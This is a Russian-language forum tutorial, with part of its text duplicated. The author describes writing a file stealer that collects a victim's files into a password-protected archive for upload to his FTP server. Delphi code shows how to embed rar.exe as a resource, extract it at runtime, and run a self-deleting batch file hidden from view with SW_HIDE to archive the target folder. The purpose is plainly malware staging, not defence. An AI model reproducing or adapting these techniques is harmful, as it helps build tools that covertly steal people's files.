Сейчас я тебе расскажу как вшить любой файл в проект, затем вытащить его оттуда и насиловать как хочется.
Предыстория: понадобилось мне написать стиллер, который копирует нужные мне файлы в папку, а потом отсылает мне в жопец FTP. Подумал я, что быстрее, безопаснее, имбовее будет запихивать это дело в запароленный Text+Random(100000000).rar и это отсылать. Насиловал гугл с яндексом, но мне подходящего не нашёл, только идею архивировать с помощью rar.exe. Но вдруг этого дела не окажется у неудачника? По-этому я и решил брать rar.exe с собой.
Итак, что бы нам запихать rar.exe в проект, пихуём его в файл [Чётотам].res одним из 2 способов.
Качаем Restorator, создаём файл [Чётотам].res, Создаём ресурс с папкой EXEFILE и любым именем, после этого кидаем в EXEFILE файл rar.exe в виде RAR. Короче вот.
В каталоге \DELPHI\BIN имеется утилита коммандной строки, названная BRCC32.EXE. Запоминаем его расположение.
Создаём txt файл со строкой: RAR EXEFILE "C:\Program Files\WinRAR\Rar.exe", сохраняем как [Чётотам].rc
Затем открываем cmd, херачим туда путь к brcc32.exe и путь к [Чётотам].rc и ентерим.
Там где [Чётотам].rc должен появиться файл [Чётотам].res, если нет - Вы лох.
Отлично, [Чётотам].res создан, но что с ним делать дальше? А пихуём мы его в проект.
Кладём этот .res в папку с проектом.
После
implementation
{$R *.dfm} пишем {$R [Чётотам].res}
Создаём процедуру:
Она будет высасывать из [Чётотам].res наш RAR и сохранять куда-нибудь.
Делается это так:
Дальше уже делаете с этим что хотите, к примеру архивируем папку с помощью батника :3
Вот и всё, пользуйтесь, наслаждайтесь!
Если есть вопросы - пишите в комментах, постараюсь ответить)
Предыстория: понадобилось мне написать стиллер, который копирует нужные мне файлы в папку, а потом отсылает мне в жопец FTP. Подумал я, что быстрее, безопаснее, имбовее будет запихивать это дело в запароленный Text+Random(100000000).rar и это отсылать. Насиловал гугл с яндексом, но мне подходящего не нашёл, только идею архивировать с помощью rar.exe. Но вдруг этого дела не окажется у неудачника? По-этому я и решил брать rar.exe с собой.
Итак, что бы нам запихать rar.exe в проект, пихуём его в файл [Чётотам].res одним из 2 способов.
Качаем Restorator, создаём файл [Чётотам].res, Создаём ресурс с папкой EXEFILE и любым именем, после этого кидаем в EXEFILE файл rar.exe в виде RAR. Короче вот.
В каталоге \DELPHI\BIN имеется утилита коммандной строки, названная BRCC32.EXE. Запоминаем его расположение.
Создаём txt файл со строкой: RAR EXEFILE "C:\Program Files\WinRAR\Rar.exe", сохраняем как [Чётотам].rc
Затем открываем cmd, херачим туда путь к brcc32.exe и путь к [Чётотам].rc и ентерим.
Там где [Чётотам].rc должен появиться файл [Чётотам].res, если нет - Вы лох.
Отлично, [Чётотам].res создан, но что с ним делать дальше? А пихуём мы его в проект.
Кладём этот .res в папку с проектом.
После
implementation
{$R *.dfm} пишем {$R [Чётотам].res}
Создаём процедуру:
Код:
procedure ExtractRes(ResType, ResName, ResNewName: string);
var
Res: TResourceStream;
begin
Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
Res.SavetoFile(ResNewName);
Res.Free;
end;
Делается это так:
Код:
ExtractRes('EXEFILE', 'RAR', 'C:\Rar.exe');
Код:
var bat: tstringlist;
bat.Add('"C:\Rar.exe" a -hpПидарский_пароль_228 "C:\Rar.rar" "C:\В архиватор"');
bat.Add('erase %0');
bat.SaveToFile('C:\Rar.bat');
shellexecute(form1.Handle, nil, pchar('C:\Rar.bat'), nil, nil, SW_HIDE);
Если есть вопросы - пишите в комментах, постараюсь ответить)